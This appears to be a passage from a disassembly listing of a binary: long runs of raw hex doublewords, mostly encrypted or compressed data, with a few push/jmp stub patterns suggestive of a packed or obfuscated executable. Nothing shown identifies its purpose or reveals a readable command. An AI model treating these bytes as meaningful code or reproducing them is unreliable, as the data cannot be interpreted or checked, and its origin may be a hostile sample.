		dd 6BEC9A8Ch, 486Ch, 99245E00h,	25A6CCB1h, 1EAF3C8Bh, 64310D2Ah
		dd 30AD3EDEh, 3A393009h, 3EDF1D3Ch, 0A3CA7FADh,	0DA605ECBh
		dd 0FAB353E2h, 296C564Fh, 0BFA729DCh, 4247C32Fh, 0B66BECF8h
		dd 0DDh, 0BDCDDA69h, 544DDD62h,	264C2558h, 0DE9F86A4h
		dd 0B2CBC451h, 352C02ABh, 0D2CBB298h, 5E495037h, 604F561Fh
		dd 6BC3BAB5h, 3898E5E0h, 430058EBh, 0F52A6747h,	0BF6AAD3Dh
		dd 60F8B90h, 6550D630h,	13FAAD3Eh, 14F7A286h, 0E0994069h
		dd 676910C9h, 0D5CCB19Ch, 7C6BBA76h, 53785482h,	0B71940B3h
		dd 0D05FAE0Ah, 412041F6h, 3E382BADh, 0AD3C1C1Fh, 0B9A6CC7Dh
		dd 0F2A390h, 8A800B7Dh,	1B84D1ADh, 6910AD3Ch, 233A432Ch
		dd 674DC36Ah, 65FA07D0h, 9D31AACh, 0CCC10000h, 3C34DFB1h
		dd 0CAC44F41h, 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h
		dd 80502D22h, 0EDDF9E95h, 72522B22h, 84D1AD9Ah,	10A723E2h
		dd 99242DA5h, 1CD5CCB1h, 28553756h, 8BF2DDA8h, 85F8F19Ch
		dd 89FD35DCh, 1D6CC43Bh, 0E20A300Eh, 9FCAB353h,	0DB791C06h
		dd 0FF6FA729h, 0F7B2F773h, 0E9466BECh, 78000000h, 0C7DE9F86h
		dd 2C35482Ah, 3EE3CC52h, 0A8F76ADh, 0B5C16F28h,	7AA20B4Eh
		dd 2A03AAB3h, 641910BDh, 0EADE943Dh, 631A10BDh,	0C5B8AF3Ah
		dd 0F63CF59Ch, 1E0D7057h, 1364310Dh, 685EAD3Eh,	721F4A15h
		dd 3037FF7Eh, 7563043h,	0C1AD3E14h, 136E9079h, 70998299h
		dd 206FC9CAh, 0C3732013h, 6F635425h, 0C0CF8E68h, 9CCDAD3Eh
		dd 739F9DD5h, 23B353D4h, 8F2996F6h, 0FD3B340h, 8FAD4179h
		dd 0CAC04DDAh, 0E6A3DACFh, 0D4B47D00h, 0D63A4329h, 0FA07B9D8h
		dd 0D6891DD4h, 0BE000008h, 35E0B0CDh, 0C550403Dh, 27D2B2CBh
		dd 0C34E3E3Fh, 5DDCACD1h, 0DE9F956Fh, 4F2E23EEh, 0DE9F927Dh
		dd 512C23EEh, 0CCAAA77Fh, 0A723E18Dh, 8628960Fh, 0AAF7D9A4h
		dd 1E47361Bh, 9994BF77h, 0EE770600h, 5201EE47h,	9E10427Fh
		dd 6B12F7A2h, 0AE1C6CC2h, 51DE9F86h, 7CB2CBC4h,	0B55E6E5h
		dd 35FBA085h, 0BAB5E096h, 0BC74C1C3h, 9A807E6Dh, 0C6B3531Eh
		dd 332A5337h, 0BE6BB47Ah, 0C02AA231h, 0ED689A7Dh, 9E2D1A45h
		dd 8AA95EF6h, 1E2D05C6h, 8B765627h, 43F8F3A4h, 0A31DE889h
		dd 0C7E7D3CAh, 0E22E6F39h, 0DDC8E054h, 6A6530A0h, 0DEB08A13h
		dd 0E42BEAF3h, 7B168FEEh, 33BEE796h, 38B63C41h,	0EF8778ACh
		dd 927C0983h, 73BB72EBh, 4090EDD8h, 116C62F3h, 3A432A69h
		dd 0AB431EADh, 263320Ch, 8312BEBh, 57AEA04Bh, 0F89E881Fh
		dd 322BEADFh, 4110EEFDh, 532E92DEh, 0CE665026h,	0DEAECFB6h
		dd 28413C33h, 0DED86DCBh, 2E92DEBFh, 0E6052CDDh, 0A80DC208h
		dd 0B837E234h, 5418530Bh, 501A7F95h, 74F65759h,	2EA2D8A1h
		dd 5BD827A1h, 9AFCEF5Bh, 435A0F3Ah, 92A23757h, 0AF43B32Eh
		dd 55BA7633h, 48B82F3h,	37340000h, 0AD3EDF1Ah, 3EEF3859h
		dd 0D3023BADh, 5001AD3Eh, 0B0AD3ECBh, 9B2AC918h, 87A4CAB3h
		dd 80FDE994h, 0FC0A30E9h, 0B353E072h, 0B8E5E152h, 0E4A729D8h
		dd 9018FC35h, 0CFC1015h, 753F195h, 4C410000h, 0BCB45F31h
		dd 4A44CFC1h, 0BEA65133h, 5042CDBFh, 0EEDC5B2Dh, 6D5F1E14h
		dd 0D0ADA2h, 6D5F1E15h,	0F2D2ABA2h, 4512D1Ah, 90A723E1h
		dd 9924AD25h, 20D9D0ADh, 45543B5Ah, 9A39304Dh, 417DD32Ah
		dd 94DD9408h, 3403E697h, 3E8E1B3Ah, 0A9D079ADh,	0BF79D6D1h
		dd 0DBD28370h, 5F5FCCA2h, 0B359888Ch, 0E37281A8h, 5F168FEEh
		dd 28413C32h, 36C5C971h, 0A2F14F9Eh, 3DADA985h,	5AE9AD39h
		dd 0F6DC0255h, 1837DE87h, 99E014B5h, 7508EB9Ah,	0FADAC4BDh
		dd 8A5C90D4h, 7650DF2Eh, 3E57538h, 56304330h, 3C37507h
		dd 3B5AE495h, 5903C375h, 0B5F1F2CAh, 5A1331C0h,	0F9413C2Fh
		dd 0FDEEFD2Ch, 0C2E25401h, 1A194003h, 0C2E27D1Ch, 44EA1F03h
		dd 2372CE1Dh, 82661704h, 0C0C933FBh, 0E409D81Dh, 2007B635h
		dd 8F3E6B5Dh, 0FF8EE499h, 179F7508h, 79556BD4h,	65B6E00h
		dd 54390000h, 0F4DCA729h, 927C0789h, 0F6EE99EBh, 987A0587h
		dd 5644E3E5h, 25A7D6BCh, 8808755Ah, 656716FDh, 0FACAB39Ah
		dd 0C492522h, 88A723E0h, 6CC4A51Dh, 211D0E1Dh, 0AD3EDE74h
		dd 611C1520h, 0ADE89148h, 9B0B9C4h, 60C6C031h, 88B353F6h
		dd 0C7FE9B9Bh, 6B9EA729h, 0B6AF5AC3h, 2049341Bh, 0C6DF9E95h
		dd 2B51462Bh, 0C1080016h, 0BDB5AC85h, 0A78FC32Fh, 0FDBB950Dh
		dd 0A13241AEh, 0C0D800C3h, 17254D52h, 0AD3EF343h, 0DCD6B663h
		dd 0AD3ECAB9h, 3ECA9BBAh, 6236C5ADh, 0C9FF4DDBh, 71CFBC72h
		dd 0C6290522h, 0E2B35965h, 8542E37h, 73A72456h,	0A7245621h
		dd 23F9846Bh, 3E06599h,	9A9C2EEBh, 0FA000005h, 99646419h
		dd 11FCCCB1h, 9B666617h, 0FFACAB3h, 0D170601Dh,	324B41DBh
		dd 0BBC2A752h, 324B3EC9h, 0BDC0A752h, 585653CBh, 0A723DF39h
		dd 0C494EA5Bh, 2B52396Ch, 926C7B32h, 0AD3EDEC3h, 62D1A8D1h
		dd 59D98F64h, 0C9CA79B3h, 58E35E9Eh, 99A0024Ch,	0EB423E47h
		dd 362FDA43h, 2AC9B49Bh, 971A499h, 6825A96Ah, 0AD64FD80h
		dd 0FDB40185h, 1ECF8E68h, 9CCDA724h, 0DF86F7F1h, 0CB66FF36h
		dd 4C3799E4h, 86851C61h, 0F36A13F7h, 930A7356h,	0B0DB93DAh
		dd 0BEA1C8B5h, 640D06B5h, 60FA25A2h, 0F0089C1Ah, 1B0888F5h
		dd 0B9B5826Ah, 0A7243B9Ch, 522851F8h, 0E757CADFh, 1612E6Bh
		dd 54010000h, 7759215Ch, 0E1D6CC4h, 540DDA30h, 1969FAB3h
		dd 0AE38AE40h, 815D042Dh, 0A7291FD2h, 0B28C189Eh, 4E28C716h
		dd 0AD3E4F88h, 681375A4h, 0CC69007Dh, 0FF2C9CE1h, 0DBDB5C4Eh
		dd 0AD3E4EBEh, 45022BDEh, 6BE1204Ch, 83502667h,	7D7976C5h
		dd 0B353D3D1h, 39253CEDh, 0A729C318h, 3F32E3D0h, 0C86E273Eh
		dd 0EDBA36AEh, 0AC6BECDAh, 1C522B21h, 456Ch, 6CC45E00h
		dd 91162037h, 2059E21Eh, 77262013h, 25AD3E5Bh, 0B7259F4h
		dd 9693DB92h, 535FA298h, 181742B3h, 4FFA836Dh, 534E2459h
		dd 0C0BDA954h, 0BC4AF0A9h, 0A7295E99h, 0D753DF4Fh, 6BEC7AD2h
		dd 9726h, 9F869800h, 482AC7DEh,	0A6A12C35h, 4C43CED7h
		dd 1655F31h, 0E9AD3EE4h, 0DA5DFCFAh, 0A3FAD3Eh,	3F3E2964h
		dd 0F948004Dh, 8264FCFAh, 1940B356h, 0F4896B1Ah, 98A44F7h
		dd 0DF37221h, 87346165h, 0E9EDFCA4h, 77165C28h,	9E74E895h
		dd 12FC1247h, 3D3F397h,	0CCC10000h, 3C34DFB1h, 0CAC44F41h
		dd 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h, 80502D22h
		dd 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723DCh,	97242DA5h
		dd 0B9004FAFh, 2F5E143Dh, 0C550403Dh, 63D1B3CAh, 51DE9F86h
		dd 0B6AFCEC4h
		dd 0A53037FFh, 83FAEFAAh, 376CDAAAh, 0AD3F5F16h, 3E5F3C5Dh
		dd 1D6CC4ADh, 58BB300Eh, 30D9B359h, 0F5EDA39h, 6AC42620h
		dd 11BCAD39h, 0F28B7F1Ah, 0C36B223Bh, 0D08D695Ah, 0CCAD2F62h
		dd 7A3975B7h, 4D24BEA9h, 0BD403024h, 55CCFA0Ah,	338B1h
		dd 6775C00h, 6617FB86h,	0C8B59B66h, 2C513DC8h, 0C2BBB15Ch
		dd 9B7563C2h, 39C4C4B9h, 0B05B2D50h, 39C4C4B9h,	0C55D2F4Eh
		dd 0DCAFEEC8h, 78EDA723h, 0DE9F860Ah, 3A432AC7h, 91C0BEADh
		dd 3AD3EDEh, 0BD492670h, 0E990CF35h, 38903D91h,	876E1203h
		dd 46EFE388h, 7581CDA9h, 6C9DB353h, 644809F5h, 16A0A729h
		dd 7D65229Eh, 87346BECh, 0FC1A7795h, 0ADE1990Eh, 3Eh, 376CC41Fh
		dd 0BB503B5Fh, 1F5E52DEh, 0CFA6CF86h, 5077B360h, 5BE72E08h
		dd 22181613h, 8EB3535Eh, 0E5C678FDh, 0DB934D20h, 0F4CED782h
		dd 0A729A1A1h, 0BF3BA747h, 6BECBDEAh, 0E50Eh, 9F86C000h
		dd 482AC7DEh, 1F07B635h, 491185Eh, 0E9949009h, 0B690A390h
		dd 0AD3EDEE7h, 0D38CF1E3h, 0DAD9D0A6h, 0DEB0EDC9h, 3DECAD3Eh
		dd 2A6F56F5h, 862F3647h, 7FE3DDAFh, 6BAD3EE3h, 0E38BF2DAh
		dd 33C0BDA8h, 0AAD0ADA2h, 9745B26h, 73A559EAh, 7E22290Ah
		dd 0E6A57530h, 0F33B85DAh, 52A11F6Ch, 7D59D9D5h, 0BC49B353h
		dd 17B2ABD2h, 4C224B32h, 0D9666613h, 3C412C5Fh,	0DBA28825h
		dd 0B620BC2h, 2374221Ch, 0F920AD41h, 14694BFAh,	0F9846617h
		dd 1D71C970h, 17FD8072h, 0FA07DF67h, 0E28E20D9h, 0B2000001h
		dd 41CCBCC1h, 0A9543449h, 43CEBEBFh, 0A752324Bh, 59D8B8C5h
		dd 0DAA38963h, 532A1FEAh, 0DAA38671h, 55281FEAh, 0D0AE9B73h
		dd 0A723DA81h, 862CA213h, 495AD9A4h, 3EDF306Dh,	75BD6CADh
		dd 0FE7F6611h, 6CC4408Eh, 5E495039h, 0A64F561Fh, 0E06660CFh
		dd 0FCB353E2h, 3A2FDE4Dh, 0D6731A43h, 0BAE58DF0h, 29DBADE0h
		dd 8B383BA7h, 0C6263661h, 0ED87AFF4h, 44B0F975h, 0C1486BECh
		dd 7A000000h, 0C7DE9F86h, 2C35482Ah, 59A8C3Fh, 1AEE9FF1h
		dd 4474EA54h, 0E7DEAD3Eh, 0EC9996h, 52DE47Dh, 6E0FF681h
		dd 0D12098F7h, 46D26462h, 5702B353h, 14C2BD8h, 0B40C615Dh
		dd 0A5CDB099h, 0E91C9421h, 2CE57C01h, 7557E605h, 0D8D46108h
		dd 85A6CCA5h, 40898EA9h, 101F4AADh, 1EE8F85h, 0ADF0DA52h
		dd 2E487533h, 16ACDB57h, 8FE8B6Bh, 0ED45EC75h, 81FCEE99h
		dd 709D99Bh, 3CCE4BFAh,	0E5h, 0CDBFBEAFh, 5D2F4E42h, 0CFC1BCB2h
		dd 53354844h, 0C9BBC2A8h, 0B0A27C6Ah, 1710FBCDh, 0B89B6666h
		dd 4D38C3C5h, 0CBC86030h, 23D9AEEBh, 777EEA7h, 0CCB19924h
		dd 37561CD5h, 0DDA82855h, 8B398BF2h, 0C7DE9F86h, 4A3A432Ah
		dd 0C6B7B05Dh, 56A52370h, 0D916DDD9h, 0EDFEB359h, 23E44411h
		dd 512950A7h, 0B13C6514h, 3AC5C7B6h, 47332A53h,	0BED02648h
		dd 859D159Fh, 611C0F8Ah, 0E8E89148h, 524B321Dh,	41AECFB7h
		dd 0B5E09D94h, 0EEA7BEBFh, 9D942148h, 0C26B12FCh, 66170E9Bh
		dd 3138452Bh, 0B4D1ACA4h, 0F93E7202h, 0E2CDE57Dh, 0A018C9Bh
		dd 40CBBB73h, 0ABB3845h, 0C14E5726h, 0E8779362h, 30062F48h
		dd 0E5893A39h, 0AEC4AA66h, 16C389B1h, 0ED000000h, 0D0AD9924h
		dd 695A20D9h, 0B6FE893Ah, 0ACBBD593h, 0BB73BAC3h, 0D8A586CDh
		dd 344944D1h, 0D4A9A02Dh, 364740CDh, 0CDB0A22Fh, 2A5339D4h
		dd 0CFAE9633h, 28553BD6h, 81FCF481h, 895304E8h,	4C381E3h
		dd 83000000h, 1C3304EBh, 241C3124h, 5C241C33h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 7668241Ch, 8900006Dh
		dd 0B9512404h, 73F4434h, 0DBB6B1BBh, 8BCB01FEh,	0C483240Ch
		dd 48B5404h, 4C48324h, 89DD8955h, 2C8B0868h, 4C48124h
		dd 8B000000h, 89502404h, 405E0h, 0C0830000h, 24048704h
		dd 241C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch
		dd 0FFFB4220h, 8F23D82Ch, 68CB9446h, 1B0633B8h,	0FFC50306h
		dd 96FC3AE0h, 1966C127h, 67BA661Fh, 0CC59F23Eh,	9AB47B4Dh
		dd 0F375BF5Ch, 0DAE944h, 0F01C0000h, 9CD76EDBh,	0C8C3CA45h
		dd 0ABDAB6E1h, 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh
		dd 6BB2915Dh, 2096B1F4h, 9B552075h, 0BCF26BB7h,	0A19692A5h
		dd 603A7594h, 329FB799h, 0E9B599BDh, 92A59CB2h,	95ACA3F2h
		dd 97B1EF76h, 0B4F94E00h, 5C009FA5h, 4AF07B6Bh,	0D0008A92h
		dd 0F545F352h, 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h
		dd 0BF9792B0h, 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh
		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h
		dd 0
		dd 9D744700h, 99E0E312h, 5Eh, 8	dup(0)
		dd 13E6E9h, 99C6800h, 7FE9061Bh, 68FFFA76h, 61B0AA1h, 0FA7675E9h
		dd 0B5F68FFh, 6BE9061Bh, 68FFFA76h, 61B0CFEh, 0FA7661E9h
		dd 0D8368FFh, 57E9061Bh, 68FFFA76h, 61B0E4Ah, 0FA764DE9h
		dd 0EDA68FFh, 43E9061Bh, 68FFFA76h, 61B0F57h, 0FA7639E9h
		dd 101368FFh, 2FE9061Bh, 68FFFA76h, 61B114Fh, 0FA7625E9h
		dd 122D68FFh, 1BE9061Bh, 68FFFA76h, 61B136Eh, 0FA7611E9h
		dd 146768FFh, 7E9061Bh,	68FFFA76h, 61B15BBh, 0FA75FDE9h
		dd 16DE68FFh, 0F3E9061Bh, 68FFFA75h, 61B1886h, 0FA75E9E9h
		dd 194368FFh, 0DFE9061Bh, 98FFFA75h, 58C7AE1Eh,	978C69D9h
		dd 60CFA616h, 8EA570E0h, 0C2D9BC2Ch, 0E454D6C9h, 2D9D2211h
		dd 0E959DB48h, 2494170Ch, 0ED588651h, 169DFAA4h, 2476C647h
		dd 0D59B5FC7h, 2ED4970Ah, 0A41F3D01h, 1086137Dh, 0D13B2F00h
		dd 0C0FDCA0Bh, 3D1A8AE8h, 0A2BCB061h, 86FFFE23h, 0BEAC7D10h
		dd 977EEE4Dh, 1F3F6F0Fh, 9BF66CA4h, 0F620F116h,	0FAC52F28h
		dd 7ECFD64h, 9342153Ch,	0E8C7D816h, 427AA302h, 8C031693h
		dd 0CDC52821h, 274B9DBDh, 5F000000h, 3DB0BABh, 9BF5F040h
		dd 7ABC8D16h, 93F1D2FBh, 0C9F49B16h, 3BAB0829h,	2D6802FBh
		dd 9DBD1CC0h, 0C448h, 0C7246400h, 0C92A8757h, 8A605D59h
		dd 0A313978Ch, 8DFD7E73h, 0AB1B9889h, 0F788E7CAh, 21A21086h
		dd 8FA81895h, 0AE814BE2h, 4B2A05DBh, 0E151B2FFh, 132D8B5h
		dd 96241282h, 19ACB2E2h, 169CE471h, 5C4A2BFCh, 80F0509Ch
		dd 64CD8FAFh, 0ADA29404h, 9307D1F8h, 3EAE0F16h,	83D9B182h
		dd 8B697FC0h, 112DFE10h, 6332A220h, 1FFE6ECCh, 0B1BDAD7Ah
		dd 4373CFE5h, 0C0000011h, 0F03FD646h, 0DF542191h, 1807EE5Eh
		dd 0D64D2898h, 9A11E454h, 0AC1C9E11h, 65D55AC9h, 0B121A390h
		dd 7CEC4FE4h, 0A5202E99h, 169DFB7Ch, 24BE7EFFh,	2B8856C6h
		dd 635C5ACAh, 7562EC87h, 9FB54D16h, 7AFD3673h, 57330C0Ah
		dd 0CE959DAh, 0DB0BAB20h, 0F5F04003h, 0BC8D169Bh, 0C33391A2h
		dd 2610FAD3h, 93F17E9Fh, 1D900716h, 0EE5EDCD5h,	0B1F3DFA8h
		dd 511670F2h, 48B8357Eh, 1A99714Eh, 9DBDCD8Fh, 0B815h
		dd 0C724F100h, 0F0525F57h, 6BC89680h, 0AFA09606h, 0F793E0BBh
		dd 6BC81086h, 0A09D9909h, 7AEA49CAh, 94407364h,	87F51067h
		dd 189B88E3h, 3CFC6EA8h, 8001320Ch, 0FAE47A10h,	0B2D438DDh
		dd 861BCE13h, 0BB9CAD10h, 0E08ACF1Bh, 9CD51DC5h, 26CFE016h
		dd 6EDB3324h, 0C3FDE282h, 9DCD7127h, 665602C1h,	1627108Bh
		dd 1787EB48h, 1A8AEA47h, 0AC0E2570h, 1D32A220h,	0BDA6D180h
		dd 20A492B1h, 103Eh, 1CF969C5h,	6332A207h, 740171CCh, 2CC939BFh
		dd 720373F7h, 0B73B7635h, 0FE81AE47h, 0BC38E78Eh, 0F97AA94Ch
		dd 0F3DBEC89h, 9DF80950h, 0C973F416h, 0BF56C624h, 0D2A31370h
		dd 57C72466h, 81F1525Fh, 4EBE3FF4h, 68D85B48h, 0C42D248Dh
		dd 4BFAC4F4h, 169BFBC7h, 0BA0995A6h, 0E042A92h,	0D343C0F1h
		dd 8DBD8137h, 297212B1h, 0BBA1EB03h, 32AEC108h,	2A9A1F13h
		dd 9CAD13ECh, 5FDDCAEEh, 0F9D6A7EFh, 5B8B2BBDh,	0A7EA5983h
		dd 461332AEh, 4BF9575h,	152B3805h, 3A774758h, 544D49B9h
		dd 9E4C63D3h, 0B0189B98h, 0C5040859h, 26CFE0FFh, 8FEE7AF9h
		dd 0B86D301Fh, 0AFB41E85h, 0F803DC5h, 3830000h,	0CC2D0293h
		dd 0B6AB95Ch, 0C325FA9Bh, 0D6DC253h, 0E8A3F89Dh, 30C535B5h
		dd 690C7C03h, 2BCA3ABAh, 6E0777F4h, 87CA7965h, 66169DF9h
		dd 0C72497A5h, 25D95F57h, 0BEF3E9F5h, 8520CA3Ah, 169C0A4Dh
		dd 0CC15B0AEh, 0AF1693EAh, 0ACCEC9Eh, 93EA163Bh, 0CFC4D516h
		dd 0C7B8FE6Eh, 5DDDD6E8h, 36D4A9EDh, 7FAF4F57h,	0B3347D5Fh
		dd 397A5343h, 3A248B8h,	1089386Fh, 0B98C528Ch, 1CACB590h
		dd 0B6DB4A5Bh, 0D31CACB5h, 0ACB52970h, 5DC3D41Ch, 29FA9E4Ch
		dd 31A11C15h, 0B4620805h, 0F666C9EAh, 801BCFC0h, 1CACB55Dh
		dd 981F142Ah, 7911EE28h, 2FBA8F3Eh, 0B5A3D261h,	6Fh, 0DE624FD1h
		dd 0FFF496Eh, 0FABD630Eh, 0A6D6AA10h, 0CB022D98h, 72BF169Ch
		dd 8EFE820Eh, 0F29875A1h, 21EF05CEh, 658F5CCEh,	0B83F744Ah
		dd 99714E48h, 9E0E6EC3h, 0DF5E53F7h, 0C948EA77h, 90BF3724h
		dd 0E2C1A9A6h, 16934CBDh, 40C04CAFh, 3416FFD0h,	4C769B2Ah
		dd 24F51693h, 0D3AA3413h, 0ED9DD206h, 6650C03Ch, 0E5DDEh
		dd 56D7DC00h, 4F1004E6h, 0EE8ACF86h, 9C3C7E2h, 0F58FA829h
		dd 0B4DE8CC1h, 3B0AD404h, 16A115ECh, 2F845A6Bh,	6AB95CCCh
		dd 0B9D9909h, 0A0233B6Bh, 10BA0A6Eh, 0B300DEEFh, 0DEE050h
		dd 0B0081C45h, 1FFA761Ch, 0EBADF4DBh, 0E7866435h, 0EB5ABB38h
		dd 1CB040A6h, 5B5B7445h, 0E5F929CDh, 868CDEF7h,	0B6632F1Dh
		dd 83A5E9D4h, 5B481AAAh, 5D3264D4h, 0BCE4AB72h,	7D77AB9Fh
		dd 0DE1F5h, 34A42200h, 0FF6FD261h, 3CAC0916h, 0F666CA59h
		dd 42B2101Fh, 0FCB7F4B3h, 0B8670E7Eh, 12EC737h,	0AD821383h
		dd 8C37DE4Eh, 0FEDE03C2h, 0DC9D169Dh, 0F297B660h, 0B0501086h
		dd 93A0BE80h, 8E77BF2Fh, 0F8AF511Eh, 7A103F49h,	0A18A194Bh
		dd 94CFD816h, 5D3E3337h, 8FA4BA95h, 75D9BC2Ch, 19DD9460h
		dd 0B654EFD1h, 9086F675h, 1826562Ah, 1A8AED46h,	5C47231Ch
		dd 1087D724h, 340598A9h, 2BB1BA5Ah, 0D5CA909h, 47A70000h
		dd 90F13ED7h, 5FDE5520h, 971906EFh, 61E14E27h, 48724F1h
		dd 0DCB92989h, 0A570E047h, 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h
		dd 2169DFFh, 0C724BB81h, 0F1525F57h, 0B4A69581h, 1371FD7Fh
		dd 0BD8A8CA3h, 95CBB758h, 67032C67h, 61CC7D30h,	0E797A8B0h
		dd 876h, 0EA0BABC3h, 86F2365Bh,	0CBE4B510h, 0F90950F3h
		dd 23F416A1h, 2191161Bh, 759C27F5h, 0F8169DF5h,	0DC620827h
		dd 11E454D7h, 37B6084Dh, 85426E57h, 5FC724E5h, 0A294EF15h
		dd 7DF83B12h, 91F4220Dh, 169DE84Ch, 19255529h, 42289818h
		dd 3CF5E2FCh, 90C79F10h, 62D2555Eh, 14AF5B34h, 1087A7DCh
		dd 86F674A1h, 88FDD4A9h, 5066B1BAh, 0C95F4h, 0A0106E00h
		dd 6BDB5ED5h, 0A818958Ah, 62D256CDh, 0AE1E9C93h, 0E8DBD0C7h
		dd 0A47B1A8Ah, 0ED42D343h, 0A9761F8Fh, 883BDA4Ah, 0FCDAFFC6h
		dd 0E0A1169Dh, 57C7245Ch, 81F1525Fh, 0A00FA695h, 0A81E44A9h
		dd 7C0CC97h, 0B6E00000h, 1086F297h, 0BE80B050h,	0F2FC25A0h
		dd 0AE7F1086h, 0C6CB7ABCh, 0A516A1F9h, 9F94CA94h, 4FBCAE1Eh
		dd 8A997CECh, 0EB7DB929h, 80431B4Bh, 10870D48h,	1C8CE815h
		dd 0ED5E8342h, 0C1D1CB6h, 31015A23h, 0D0E6B1BBh, 0C0574h
		dd 1080FE00h, 0DB4BAE85h, 1888E53Ah, 0D242A67Dh, 1E8EEC43h
		dd 386B2077h, 74AB4ABAh, 3DF283F3h, 79A64FBFh, 0D8EB8AFAh
		dd 0FC0A4FF6h, 70F1169Dh, 57C724CCh, 81F1525Fh,	0A00FA695h
		dd 0A81E44A9h, 730CC97h, 0ABE00000h, 4003DB0Bh,	16A1F9A4h
		dd 0E656DAD7h, 8B2BDFB0h, 2C8FA4BAh, 0E94AD9BCh, 97B63D79h
		dd 50169DF5h, 7BE80B0h,	10870DD3h, 81F4899Ah, 5AB1BB31h
		dd 0B88D85Ch, 0FB7B0000h, 0B435EA8Bh, 382B144h,	0CB2D0293h
		dd 565BA5Bh, 0E0AB0095h, 38DD4DADh, 811484EBh, 13E252B2h
		dd 462F9F1Ch, 0AFF2517Dh, 4E169DFDh, 864F6FCDh,	5EE54FC4h
		dd 74B5554Dh, 0A28F87F7h, 7685B121h, 1122D0FFh,	7A5343B3h
		dd 78982590h, 0A32097A8h, 0FC000006h, 86F292B6h, 71A15510h
		dd 79E9446Dh, 8FF8CB91h, 0CE16A1F9h, 0FA10390Ch
		dd 0CADB169Dh, 5BD8D9E5h, 96150AEBh, 0A11CA80Ah, 27181E31h
		dd 36283608h, 9DFA4A8Fh, 0C5603116h, 169DFA9Ch,	0E2454E5Fh
		dd 0C9E9872h, 7EA5446Ch, 6CEFD908h, 0B6367B43h,	3392A446h
		dd 1080E87Fh, 0D7502DFEh, 8B1BB2Eh, 0ACC86EEh, 0B7370000h
		dd 81AE47h, 0CF2E0590h,	769B65Fh, 0D131FE97h, 94179461h
		dd 4C299919h, 15E050D7h, 472E9E1Eh, 0AEB5BD8h, 0EB2E95B9h
		dd 92169DE2h, 0C7246BD1h, 587D5F57h, 1CEA0CC3h,	44C5A5ABh
		dd 4A6777E7h, 4F4076E6h, 0DFD6719Bh, 0E454D7F0h, 0AC19A411h
		dd 549F97A8h, 7B000001h, 5F57C724h, 0F481F152h,	42A6F2C6h
		dd 62E1FDD2h, 169BFB2Eh, 0AC33084Dh, 833F62E1h,	0EDBE1693h
		dd 0CE7B37CAh, 6BAB7C1Ch, 9376C508h, 0D807B216h, 0BDA20C71h
		dd 3A949Dh, 0ABA80000h,	4003DB0Bh, 169BF5F0h, 947ABC8Dh
		dd 2B8C189Fh, 0ADA294BBh, 0F1BFDEBDh, 0D1481693h, 1CFE6BDEh
		dd 0CE869DBDh, 0C4000000h, 0E0DF3993h, 340316E2h, 8E1A6FBBh
		dd 0BF73174Ah, 5F57C724h, 9680F052h, 68AE1E9Dh,	0B7D7B1A6h
		dd 75B33876h, 0BFAB84F4h, 0F481F152h, 872092D1h, 0EF5FDC10h
		dd 0B0E0A006h, 0F0F917AEh, 0B780169Eh, 1715E0B6h, 0BD81AE99h
		dd 0D6FD249Fh, 0B780169Eh, 70DBB17Ch, 0AA406F3Bh, 3194CA94h
		dd 169EB0E8h, 9BC8293h,	169EB0C0h, 43F09AABh, 79A64FBFh
		dd 75F489F9h, 6EB7D30Eh, 990EC48h, 13730000h, 0DC5DD2A3h
		dd 1B9A896Ch, 0D355CAABh, 1D9D9263h, 0D8D3C8ADh, 801585E5h
		dd 39DC4CB3h, 7B1A8AEAh, 3ED747A4h, 0D7FAC995h,	96169DE3h
		dd 0C62467D5h, 29B7B85Eh, 0D76EEAC4h, 1086E6B2h, 68476839h
		dd 0F70C18Dh, 0C4A6979Fh, 0A174E447h, 0CF864F9Bh, 3882EE42h
		dd 0A0C7CFFh, 0C3701A35h, 0CDE6D040h, 0ED5DE26Eh, 0FAD545A6h
		dd 490951Bh, 0AB710000h, 365BEA0Bh, 0B51086F2h,	50F3CBE4h
		dd 169BFC2Ch, 6FD6C0D1h, 1693F82Eh, 6551C140h, 3A7CEC4Ch
		dd 3E0CF36h, 8CBDF0A7h,	9DBD2421h, 1C3A7h, 9CB68300h, 571086F2h
		dd 66D65BA7h, 6E705F30h, 0A1F9EAD7h, 9EA07116h,	98A61695h
		dd 0C2A8189Bh, 8FFF7CB3h, 2D5D2187h, 0F2FEB211h, 0AE7F1080h
		dd 0BB464ECFh, 179B99B1h, 8B2h,	0F085F551h, 0A74EBE43h
		dd 0E88DFD78h, 0B045B53Bh, 0E68FFF83h, 63C7FAB1h, 0AA0D22F3h
		dd 68C45B3Ah, 0A5061DF8h, 67776035h, 9DE0B5DCh,	85B73816h
		dd 5F57C724h, 9581F152h, 0DE14BBF2h, 0F21C4500h, 0F3521086h
		dd 6BA9383h, 57D45535h,	8EFED7E7h, 25FC1F92h, 62EC8763h
		dd 9383F351h, 58E5D0BAh, 0E097A835h, 120h, 57C724BCh, 58C82A87h
		dd 0C6F84B2h, 0DB1F99Ch, 1DB01DDh, 86F21F42h, 0EACDDE10h
		dd 76600049h, 207B6FC8h, 169B2EE8h, 1372A475h, 16932CCAh
		dd 9BB4A1B3h, 31073A8Ah, 1AC5EC9Eh, 0BD59CA2Fh,	2C529Dh
		dd 0AB660000h, 4003DB0Bh, 169BF5F0h, 37A7062Bh,	3C5C0EFFh
		dd 85C82B6Bh, 721693F1h, 0CC3118C7h, 549DBD1Ch,	0A6h, 5BCB298Ah
		dd 0C7248BAFh, 347D5F57h, 6AA743B3h, 859E9808h,	0A9199A26h
		dd 20A39086h, 8EA91994h, 0CB8004E1h, 30C5EAC2h,	879F4695h
		dd 0DB4BA810h, 0A223103Ah, 9E625832h, 258E506Eh, 6D6254C4h
		dd 0B7F01E7Dh, 0A27169Fh, 0FD39A9h, 0EB49366Ah,	0C4263B7Bh
